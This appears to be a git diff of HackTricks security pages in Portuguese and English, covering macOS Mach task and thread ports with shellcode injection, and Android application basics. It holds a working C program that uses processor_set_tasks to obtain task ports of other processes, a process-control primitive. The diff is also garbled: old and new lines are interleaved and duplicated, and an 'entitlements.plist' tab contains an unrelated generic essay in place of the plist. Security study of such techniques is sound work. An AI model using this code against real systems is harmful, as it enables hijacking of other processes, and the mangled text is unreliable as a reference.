Além disso, a `task_port` é também a porta **`vm_map`** que permite **ler e manipular memória** dentro de uma tarefa com funções como `vm_read()` e `vm_write()`. Isso basicamente significa que uma tarefa com direitos de ENVIO sobre a `task_port` de uma tarefa diferente será capaz de **injetar código nessa tarefa**.
Além disso, a porta da tarefa é também a porta **`vm_map`** que permite **ler e manipular memória** dentro de uma tarefa com funções como `vm_read()` e `vm_write()`. Isso basicamente significa que uma tarefa com direitos de envio sobre a porta da tarefa de uma tarefa diferente será capaz de **injetar código nessa tarefa**.
Lembre-se de que porque o **kernel também é uma tarefa**, se alguém conseguir obter permissões de **ENVIO** sobre o **`kernel_task`**, será capaz de fazer o kernel executar qualquer coisa (jailbreaks).
Lembre-se de que porque o **kernel também é uma tarefa**, se alguém conseguir obter permissões de **envio** sobre o **`kernel_task`**, será capaz de fazer o kernel executar qualquer coisa (jailbreaks).
- Chame `mach_task_self()` para **obter o nome** desta porta para a tarefa chamadora. Esta porta é herdada apenas através do **`exec()`**; uma nova tarefa criada com `fork()` obtém uma nova porta de tarefa (como caso especial, uma tarefa também obtém uma nova porta de tarefa após `exec()` em um binário suid). A única maneira de iniciar uma tarefa e obter sua porta é realizar a ["dança de troca de portas"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) enquanto faz um `fork()`.
- Estas são as restrições para acessar a porta (de `macos_task_policy` do binário `AppleMobileFileIntegrity`):
- Se o aplicativo tiver a **permissão com.apple.security.get-task-allow**, processos do **mesmo usuário podem acessar a porta da tarefa** (comumente adicionado pelo Xcode para depuração). O processo de **notarização** não permitirá isso em lançamentos de produção.
- Aplicativos com a permissão **`com.apple.system-task-ports`** podem obter a **porta da tarefa para qualquer** processo, exceto o kernel. Em versões mais antigas, era chamado de **`task_for_pid-allow`**. Isso é concedido apenas a aplicativos da Apple.
- **Root pode acessar portas de tarefas** de aplicativos **não** compilados com um tempo de execução **fortificado** (e não da Apple).
* Chame `mach_task_self()` para **obter o nome** para esta porta para a tarefa chamadora. Esta porta é **herdada** apenas através de **`exec()`**; uma nova tarefa criada com `fork()` obtém uma nova porta de tarefa (como caso especial, uma tarefa também obtém uma nova porta de tarefa após `exec()` em um binário suid). A única maneira de gerar uma tarefa e obter sua porta é realizar a ["dança de troca de portas"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) enquanto faz um `fork()`.
* Estas são as restrições para acessar a porta (de `macos_task_policy` do binário `AppleMobileFileIntegrity`):
* Se o aplicativo tiver a **permissão com.apple.security.get-task-allow**, processos do **mesmo usuário podem acessar a porta da tarefa** (comumente adicionado pelo Xcode para depuração). O processo de **notarização** não permitirá isso em lançamentos de produção.
* Aplicativos com a permissão **`com.apple.system-task-ports`** podem obter a **porta da tarefa para qualquer** processo, exceto o kernel. Em versões mais antigas, era chamado de **`task_for_pid-allow`**. Isso é concedido apenas a aplicativos da Apple.
* **Root pode acessar portas de tarefas** de aplicativos **não** compilados com um tempo de execução **fortificado** (e não da Apple).
**A porta do nome da tarefa:** Uma versão não privilegiada da _porta da tarefa_. Ela faz referência à tarefa, mas não permite controlá-la. A única coisa que parece estar disponível por meio dela é `task_info()`.
### Injeção de Shellcode em thread via Porta de Tarefa
### Portas de Thread
As threads também têm portas associadas, que são visíveis da tarefa chamando **`task_threads`** e do processador com `processor_set_threads`. Um direito de envio para a porta da thread permite usar a função do subsistema `thread_act`, como:
* `thread_terminate`
* `thread_[get/set]_state`
* `act_[get/set]_state`
* `thread_[suspend/resume]`
* `thread_info`
* ...
Qualquer thread pode obter esta porta chamando **`mach_thread_sef`**.
### Injeção de Shellcode na thread via porta da Tarefa
Você pode obter um shellcode de:
@ -531,7 +565,29 @@ return 0;
```
{% endtab %}
{% tab title="entitlements.plist" %}Arquivo `entitlements.plist` contém as permissões especiais concedidas a um aplicativo macOS. Essas permissões podem incluir acesso a recursos sensíveis do sistema, como câmera, microfone, localização, etc. Certifique-se de revisar e validar cuidadosamente as permissões concedidas a um aplicativo por meio deste arquivo para garantir a segurança e a privacidade do sistema.{% endtab %}
{% tab title="entitlements.plist" %}
## macOS IPC (Comunicação entre Processos)
### Introdução
A Comunicação entre Processos (IPC) é um mecanismo essencial para que os processos em um sistema operacional possam trocar dados e informações entre si. No macOS, existem várias formas de IPC, como notificações por push, Apple Events, XPC e IPC baseado em porta.
### Abuso de Processos
Os processos no macOS podem abusar da IPC de várias maneiras para obter privilégios elevados ou realizar atividades maliciosas. É importante entender como a IPC funciona e como os processos podem ser protegidos contra abusos.
### Protegendo a IPC
Para proteger a IPC no macOS, é fundamental implementar práticas de segurança sólidas, como a validação adequada de mensagens, a restrição de privilégios e a limitação do acesso a recursos sensíveis. Além disso, monitorar o uso da IPC e auditar regularmente os processos em busca de comportamentos suspeitos são medidas importantes para garantir a segurança do sistema.
Lembre-se sempre de manter seu sistema operacional e aplicativos atualizados para se proteger contra vulnerabilidades conhecidas que possam ser exploradas por meio de abusos de IPC.
### Conclusão
A IPC é uma parte fundamental do funcionamento do macOS, mas também pode ser explorada por processos maliciosos em busca de privilégios elevados. Ao entender os riscos associados à IPC e implementar práticas de segurança adequadas, é possível mitigar essas ameaças e manter a integridade do sistema.
{% endtab %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
@ -763,7 +819,7 @@ No macOS, **threads** podem ser manipulados via **Mach** ou usando a **API posix
Foi possível **injetar um shellcode simples** para executar um comando porque **não precisava trabalhar com apis compatíveis com posix**, apenas com Mach. **Injeções mais complexas** precisariam que a **thread** também fosse **compatível com posix**.
Portanto, para **melhorar a thread**, ela deve chamar **`pthread_create_from_mach_thread`** que irá **criar um pthread válido**. Em seguida, este novo pthread poderia **chamar dlopen** para **carregar uma dylib** do sistema, então em vez de escrever um novo shellcode para realizar ações diferentes, é possível carregar bibliotecas personalizadas.
Portanto, para **melhorar a thread**, ela deve chamar **`pthread_create_from_mach_thread`** que irá **criar um pthread válido**. Em seguida, este novo pthread poderia **chamar dlopen** para **carregar uma dylib** do sistema, então em vez de escrever novo shellcode para realizar ações diferentes, é possível carregar bibliotecas personalizadas.
Você pode encontrar **exemplos de dylibs** em (por exemplo, aquele que gera um log e então você pode ouvi-lo):
@ -999,7 +1055,7 @@ thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // esta é a pilha real
//remoteStack64 -= 8; // necessita de alinhamento de 16
//remoteStack64 -= 8; // necessita alinhamento de 16
const char* p = (const char*) remoteCode64;
@ -1058,31 +1114,173 @@ Nesta técnica, uma thread do processo é sequestrada:
[macos-thread-injection-via-task-port.md](macos-thread-injection-via-task-port.md)
{% endcontent-ref %}
### Detecção de Injeção de Porta de Tarefa
Ao chamar `task_for_pid` ou `thread_create_*`, um contador na estrutura de tarefa do kernel é incrementado, o qual pode ser acessado do modo de usuário chamando task\_info(task, TASK\_EXTMOD\_INFO, ...)
## Portas de Exceção
Quando uma exceção ocorre em uma thread, essa exceção é enviada para a porta de exceção designada da thread. Se a thread não a manipular, então é enviada para as portas de exceção da tarefa. Se a tarefa não a manipular, então é enviada para a porta do host que é gerenciada pelo launchd (onde será reconhecida). Isso é chamado de triagem de exceção.
Observe que no final, geralmente, se não for manipulado corretamente, o relatório acabará sendo manipulado pelo daemon ReportCrash. No entanto, é possível para outra thread na mesma tarefa gerenciar a exceção, isso é o que ferramentas de relatório de falhas como `PLCrashReporter` fazem.
## Outros Objetos
### Relógio
Qualquer usuário pode acessar informações sobre o relógio, no entanto, para definir a hora ou modificar outras configurações, é necessário ser root.
Para obter informações, é possível chamar funções do subsistema `clock` como: `clock_get_time`, `clock_get_attributtes` ou `clock_alarm`\
Para modificar valores, o subsistema `clock_priv` pode ser usado com funções como `clock_set_time` e `clock_set_attributes`
### Processadores e Conjunto de Processadores
As APIs de processador permitem controlar um único processador lógico chamando funções como `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`...
Além disso, as APIs do **conjunto de processadores** fornecem uma maneira de agrupar vários processadores em um grupo. É possível recuperar o conjunto de processadores padrão chamando **`processor_set_default`**.\
Aqui estão algumas APIs interessantes para interagir com o conjunto de processadores:
* `processor_set_statistics`
* `processor_set_tasks`: Retorna uma matriz de direitos de envio para todas as tarefas dentro do conjunto de processadores
* `processor_set_threads`: Retorna uma matriz de direitos de envio para todas as threads dentro do conjunto de processadores
* `processor_set_stack_usage`
* `processor_set_info`
Conforme mencionado neste [**post**](https://reverse.put.as/2014/05/05/about-the-processor\_set\_tasks-access-to-kernel-memory-vulnerability/), no passado, isso permitia contornar a proteção mencionada anteriormente para obter portas de tarefa em outros processos para controlá-los chamando **`processor_set_tasks`** e obtendo uma porta de host em cada processo.\
Atualmente, é necessário ter privilégios de root para usar essa função e ela é protegida, então você só poderá obter essas portas em processos não protegidos.
Você pode tentar com:
<details>
<summary><strong>código de processor_set_tasks</strong></summary>
````c
// Maincpart fo the code from https://newosxbook.com/articles/PST2.html
//gcc ./port_pid.c -o port_pid
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/sysctl.h>
#include <libproc.h>
#include <mach/mach.h>
#include <errno.h>
#include <string.h>
#include <mach/exception_types.h>
#include <mach/mach_host.h>
#include <mach/host_priv.h>
#include <mach/processor_set.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <mach/task.h>
#include <mach/task_info.h>
#include <mach/mach_traps.h>
#include <mach/mach_error.h>
#include <mach/thread_act.h>
#include <mach/thread_info.h>
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
#include <sys/ptrace.h>
mach_port_t task_for_pid_workaround(int Pid)
{
host_t myhost = mach_host_self(); // host self is host priv if you're root anyway..
mach_port_t psDefault;
mach_port_t psDefault_control;
task_array_t tasks;
mach_msg_type_number_t numTasks;
int i;
thread_array_t threads;
thread_info_data_t tInfo;
kern_return_t kr;
kr = processor_set_default(myhost, &psDefault);
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
mach_error("host_processor_set_priv",kr); exit(1);}
printf("So far so good\n");
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }
for (i = 0; i < numTasks; i++)
{
int pid;
pid_for_task(tasks[i], &pid);
printf("TASK %d PID :%d\n", i,pid);
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
printf("Command line: %s\n", pathbuf);
} else {
printf("proc_pidpath failed: %s\n", strerror(errno));
}
if (pid == Pid){
printf("Found\n");
return (tasks[i]);
}
}
return (MACH_PORT_NULL);
} // end workaround
int main(int argc, char *argv[]) {
/*if (argc != 2) {
fprintf(stderr, "Usage: %s <PID>\n", argv[0]);
return 1;
}
pid_t pid = atoi(argv[1]);
if (pid <= 0) {
fprintf(stderr, "Invalid PID. Please enter a numeric value greater than 0.\n");
return 1;
}*/
int pid = 1;
task_for_pid_workaround(pid);
return 0;
}
```
````
</details>
## XPC
### Informações Básicas
### Basic Information
XPC, que significa Comunicação entre Processos XNU (o kernel usado pelo macOS), é um framework para **comunicação entre processos** no macOS e iOS. XPC fornece um mecanismo para fazer **chamadas de método seguras e assíncronas entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com privilégios separados** onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim o dano potencial de um processo comprometido.
XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process.
Para obter mais informações sobre como essa **comunicação funciona** e como ela **pode ser vulnerável**, consulte:
For more information about how this **communication work** on how it **could be vulnerable** check:
{% content-ref url="macos-xpc/" %}
[macos-xpc](macos-xpc/)
{% endcontent-ref %}
## MIG - Gerador de Interface Mach
## MIG - Mach Interface Generator
O MIG foi criado para **simplificar o processo de criação de código Mach IPC**. Isso ocorre porque grande parte do trabalho para programar RPC envolve as mesmas ações (empacotar argumentos, enviar a mensagem, desempacotar os dados no servidor...).
MIG was created to **simplify the process of Mach IPC** code creation. This is because a lot of work to program RPC involves the same actions (packing arguments, sending the msg, unpacking the data in the server...).
O MIG basicamente **gera o código necessário** para o servidor e o cliente se comunicarem com uma definição fornecida (em IDL - Interface Definition Language). Mesmo que o código gerado seja feio, um desenvolvedor só precisará importá-lo e seu código será muito mais simples do que antes.
MIC basically **generates the needed code** for server and client to communicate with a given definition (in IDL -Interface Definition language-). Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.
Para mais informações, consulte:
For more info check:
{% content-ref url="macos-mig-mach-interface-generator.md" %}
[macos-mig-mach-interface-generator.md](macos-mig-mach-interface-generator.md)
{% endcontent-ref %}
## Referências
## References
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
@ -1090,17 +1288,18 @@ Para mais informações, consulte:
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
* [\*OS Internals, Volume I, User Mode, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
* [https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Other ways to support HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

86
mobile-pentesting/android-app-pentesting/android-applications-basics.md
View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Aprenda a hackear a AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -41,7 +41,7 @@ Outras formas de apoiar o HackTricks:
### Isolamento
A **Sandbox de Aplicativos Android** permite executar **cada aplicativo** como um **processo separado sob um ID de usuário separado**. Cada processo tem sua própria máquina virtual, então o código de um aplicativo é executado isoladamente de outros aplicativos.\
A partir do Android 5.0(L), o **SELinux** é aplicado. Basicamente, o SELinux nega todas as interações de processos e então cria políticas para **permitir apenas as interações esperadas entre eles**.
A partir do Android 5.0(L), o **SELinux** é aplicado. Basicamente, o SELinux negou todas as interações de processos e então criou políticas para **permitir apenas as interações esperadas entre eles**.
### Permissões
@ -55,16 +55,16 @@ Um elemento de permissão possui três atributos:
* O atributo **permission-group**, que permite agrupar permissões relacionadas.
* O **nível de proteção** que indica como as permissões são concedidas. Existem quatro tipos:
* **Normal**: Usado quando não há **ameaças conhecidas** ao aplicativo. O usuário **não precisa aprovar**.
* **Perigoso**: Indica que a permissão concede ao aplicativo solicitante algum **acesso elevado**. **Os usuários são solicitados a aprová-los**.
* **Perigoso**: Indica que a permissão concede ao aplicativo solicitante **acesso elevado**. **Os usuários são solicitados a aprová-los**.
* **Assinatura**: Apenas **aplicativos assinados pelo mesmo certificado que o** exportando o componente podem receber permissão. Este é o tipo mais forte de proteção.
* **AssinaturaOuSistema**: Apenas **aplicativos assinados pelo mesmo certificado que o** exportando o componente ou **aplicativos em execução com acesso de nível de sistema** podem receber permissões.
* **AssinaturaOuSistema**: Apenas **aplicativos assinados pelo mesmo certificado que o** exportando o componente ou **aplicativos em execução com acesso de nível de sistema** podem receber permissões
## Aplicativos Pré-Instalados
## Aplicações Pré-Instaladas
Esses aplicativos geralmente são encontrados nos diretórios **`/system/app`** ou **`/system/priv-app`** e alguns deles são **otimizados** (você pode nem encontrar o arquivo `classes.dex`). Vale a pena verificar esses aplicativos porque às vezes eles estão **rodando com muitas permissões** (como root).
Esses aplicativos geralmente são encontrados nos diretórios **`/system/app`** ou **`/system/priv-app`** e alguns deles são **otimizados** (você pode nem encontrar o arquivo `classes.dex`). Vale a pena verificar esses aplicativos porque às vezes eles estão **executando com muitas permissões** (como root).
* Os enviados com o **ROM** do **AOSP** (Projeto de Código Aberto Android)
* Adicionados pelo **fabricante** do dispositivo
* Os enviados com o **AOSP** (Projeto de Código Aberto Android) **ROM**
* Adicionados pelo **fabricante do dispositivo**
* Adicionados pelo **provedor de telefonia celular** (se comprado deles)
## Root
@ -75,7 +75,7 @@ Depois que o exploit funcionar, geralmente o binário `su` do Linux é copiado p
Depois que o binário su estiver configurado, outro aplicativo Android é usado para interagir com o binário `su` e **processar solicitações de acesso root** como **Superuser** e **SuperSU** (disponível na Google Play Store).
{% hint style="danger" %}
Observe que o processo de root é muito perigoso e pode danificar gravemente o dispositivo
Observe que o processo de root é muito perigoso e pode danificar severamente o dispositivo
{% endhint %}
### ROMs
@ -87,12 +87,12 @@ Observe que **nem sempre é necessário fazer root no dispositivo** para instala
### Implicações
Uma vez que um dispositivo é rooteado, qualquer aplicativo pode solicitar acesso como root. Se um aplicativo malicioso obtiver, ele terá acesso a quase tudo e poderá danificar o telefone.
Depois que um dispositivo é rooteado, qualquer aplicativo pode solicitar acesso como root. Se um aplicativo malicioso obtiver, ele terá acesso a quase tudo e poderá danificar o telefone.
## Fundamentos de Aplicativos Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
## Fundamentos de Aplicações Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- O formato dos aplicativos Android é referido como _formato de arquivo APK_. É essencialmente um **arquivo ZIP** (renomeando a extensão do arquivo para .zip, o conteúdo pode ser extraído e visualizado).
- Conteúdo do APK (Não exaustivo)
- O formato de aplicativos Android é referido como _formato de arquivo APK_. É essencialmente um **arquivo ZIP** (renomeando a extensão do arquivo para .zip, o conteúdo pode ser extraído e visualizado).
- Conteúdo do APK (não exaustivo)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc: contém recursos pré-compilados, como XML binário.
@ -115,22 +115,22 @@ Uma vez que um dispositivo é rooteado, qualquer aplicativo pode solicitar acess
Na desenvolvimento Android, **Java ou Kotlin** são usados para criar aplicativos. Em vez de usar o JVM como em aplicativos desktop, o Android compila esse código em **Dalvik Executable (DEX) bytecode**. Anteriormente, a máquina virtual Dalvik lidava com esse bytecode, mas agora, o Android Runtime (ART) assume em versões mais recentes do Android.
Para engenharia reversa, **Smali** se torna crucial. É a versão legível por humanos do bytecode DEX, atuando como linguagem de montagem ao traduzir o código-fonte em instruções de bytecode. Smali e baksmali se referem às ferramentas de montagem e desmontagem nesse contexto.
Para engenharia reversa, **Smali** se torna crucial. É a versão legível por humanos do bytecode DEX, atuando como linguagem de montagem ao traduzir o código-fonte em instruções de bytecode. Smali e baksmali referem-se às ferramentas de montagem e desmontagem nesse contexto.
## Intenções
Intenções são o principal meio pelo qual os aplicativos Android se comunicam entre seus componentes ou com outros aplicativos. Esses objetos de mensagem também podem transportar dados entre aplicativos ou componentes, semelhante à forma como as solicitações GET/POST são usadas em comunicações HTTP.
Intenções são o principal meio pelo qual os aplicativos Android se comunicam entre seus componentes ou com outros aplicativos. Esses objetos de mensagem também podem transportar dados entre aplicativos ou componentes, semelhante a como as solicitações GET/POST são usadas em comunicações HTTP.
Portanto, uma Intenção é basicamente uma **mensagem que é passada entre componentes**. As Intenções **podem ser direcionadas** para componentes ou aplicativos específicos, **ou podem ser enviadas sem um destinatário específico**.\
Para ser simples, a Intenção pode ser usada:
Portanto, uma Intenção é basicamente uma **mensagem que é passada entre componentes**. As intenções **podem ser direcionadas** para componentes ou aplicativos específicos, **ou podem ser enviadas sem um destinatário específico**.\
Para simplificar, a Intenção pode ser usada para:
* Para iniciar uma Activity, normalmente abrindo uma interface de usuário para um aplicativo
* Iniciar uma Activity, normalmente abrindo uma interface de usuário para um aplicativo
* Como transmissões para informar o sistema e aplicativos sobre alterações
* Para iniciar, parar e comunicar-se com um serviço em segundo plano
* Para acessar dados por meio de ContentProviders
* Para iniciar, parar e comunicar com um serviço em segundo plano
* Para acessar dados via ContentProviders
* Como callbacks para lidar com eventos
Se vulneráveis, **Intenções podem ser usadas para realizar uma variedade de ataques**.
Se vulnerável, **Intenções podem ser usadas para realizar uma variedade de ataques**.
### Filtro de Intenção
@ -148,7 +148,7 @@ Além disso, os desenvolvedores têm a opção de garantir ainda mais o acesso a
```
### Intenções Implícitas
As intenções são criadas programaticamente usando um construtor de Intenções:
As intenções são criadas programaticamente usando um construtor de Intent:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
@ -163,13 +163,13 @@ Este intent deve ser declarado dentro do manifesto como no exemplo a seguir:
</intent-filter>
</activity>
```
Um intent-filter precisa corresponder à **action**, **data** e **category** para receber uma mensagem.
Um intent-filter precisa corresponder à **ação**, **dados** e **categoria** para receber uma mensagem.
O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Esse processo considera o atributo de **prioridade**, que pode ser definido na declaração do **intent-filter**, e **o com a prioridade mais alta será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se surgir um **conflito**, uma janela de "escolha" aparece para que o **usuário possa decidir**.
### Intents Explícitos
### Intenções Explícitas
Um intent explícito especifica o nome da classe que está mirando:
Uma intenção explícita especifica o nome da classe que está direcionando:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
@ -192,7 +192,7 @@ Alternativamente, também é possível **especificar uma permissão ao enviar a
Existem **dois tipos** de Transmissões: **Normais** (assíncronas) e **Ordenadas** (síncronas). A **ordem** é baseada na **prioridade configurada dentro do receptor**. **Cada aplicação pode processar, retransmitir ou descartar a Transmissão**.
É possível **enviar** uma **transmissão** usando a função `sendBroadcast(intent, receiverPermission)` da classe `Context`.\
Também é possível usar a função **`sendBroadcast`** do **`LocalBroadcastManager`** para garantir que a **mensagem nunca saia da aplicação**. Usando isso, nem será necessário exportar um componente receptor.
Também é possível usar a função **`sendBroadcast`** do **`LocalBroadCastManager`** para garantir que a **mensagem nunca saia da aplicação**. Usando isso, nem será necessário exportar um componente receptor.
### Transmissões Persistentes
@ -220,7 +220,7 @@ O esquema deve ser declarado no arquivo **`AndroidManifest.xml`**:
```
O esquema do exemplo anterior é `exampleapp://` (note também a **`categoria BROWSABLE`**)
Em seguida, no campo de dados, você pode especificar o **host** e o **caminho**:
Em seguida, no campo de dados, você pode especificar o **host** e o **path**:
```xml
<data android:scheme="examplescheme"
android:host="example"
@ -241,9 +241,9 @@ A **Linguagem de Definição de Interface Android (AIDL)** é projetada para fac
### Conceitos Chave
- **Serviços Vinculados**: Esses serviços utilizam o AIDL para IPC, permitindo que atividades ou componentes se vinculem a um serviço, façam solicitações e recebam respostas. O método `onBind` na classe do serviço é crucial para iniciar a interação, tornando-o uma área vital para revisão de segurança em busca de vulnerabilidades.
- **Serviços Vinculados**: Esses serviços utilizam AIDL para IPC, permitindo que atividades ou componentes se vinculem a um serviço, façam solicitações e recebam respostas. O método `onBind` na classe do serviço é crucial para iniciar a interação, tornando-o uma área vital para revisão de segurança em busca de vulnerabilidades.
- **Messenger**: Funcionando como um serviço vinculado, o Messenger facilita o IPC com foco no processamento de dados por meio do método `onBind`. É essencial inspecionar este método de perto em busca de qualquer manipulação insegura de dados ou execução de funções sensíveis.
- **Messenger**: Funcionando como um serviço vinculado, o Messenger facilita o IPC com foco no processamento de dados por meio do método `onBind`. É essencial inspecionar este método de perto em busca de qualquer manipulação de dados insegura ou execução de funções sensíveis.
- **Binder**: Embora o uso direto da classe Binder seja menos comum devido à abstração do AIDL, é benéfico entender que o Binder atua como um driver de nível de kernel facilitando a transferência de dados entre os espaços de memória de diferentes processos. Para maior compreensão, um recurso está disponível em [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
@ -253,9 +253,9 @@ Estes incluem: **Atividades, Serviços, Receptores de Transmissão e Provedores.
### Atividade de Lançamento e outras atividades
Nos aplicativos Android, as **atividades** são como telas, mostrando diferentes partes da interface do usuário do aplicativo. Um aplicativo pode ter muitas atividades, cada uma apresentando uma tela única ao usuário.
Nos aplicativos Android, as **atividades** são como telas, mostrando diferentes partes da interface do usuário do aplicativo. Um aplicativo pode ter muitas atividades, cada uma apresentando uma tela única para o usuário.
A **atividade de lançamento** é a principal porta de entrada para um aplicativo, sendo lançada quando você toca no ícone do aplicativo. É definida no arquivo de manifesto do aplicativo com intenções MAIN e LAUNCHER específicas:
A **atividade de lançamento** é a porta de entrada principal para um aplicativo, sendo lançada quando você toca no ícone do aplicativo. É definida no arquivo de manifesto do aplicativo com intenções MAIN e LAUNCHER específicas:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -296,21 +296,21 @@ super.onCreate();
[Serviços](https://developer.android.com/guide/components/services) são **operadores em segundo plano** capazes de executar tarefas sem uma interface de usuário. Essas tarefas podem continuar em execução mesmo quando os usuários alternam para diferentes aplicativos, tornando os serviços cruciais para **operações de longa duração**.
Os serviços são versáteis; eles podem ser iniciados de várias maneiras, sendo os **Intents** o método principal para lançá-los como ponto de entrada de um aplicativo. Uma vez que um serviço é iniciado usando o método `startService`, seu método `onStart` entra em ação e continua em execução até que o método `stopService` seja chamado explicitamente. Alternativamente, se o papel de um serviço depender de uma conexão ativa do cliente, o método `bindService` é usado para vincular o cliente ao serviço, envolvendo o método `onBind` para a passagem de dados.
Os serviços são versáteis; eles podem ser iniciados de várias maneiras, sendo os **Intents** o método principal para lançá-los como ponto de entrada de um aplicativo. Uma vez que um serviço é iniciado usando o método `startService`, seu método `onStart` entra em ação e continua em execução até que o método `stopService` seja chamado explicitamente. Alternativamente, se o papel de um serviço depender de uma conexão de cliente ativa, o método `bindService` é usado para vincular o cliente ao serviço, envolvendo o método `onBind` para a passagem de dados.
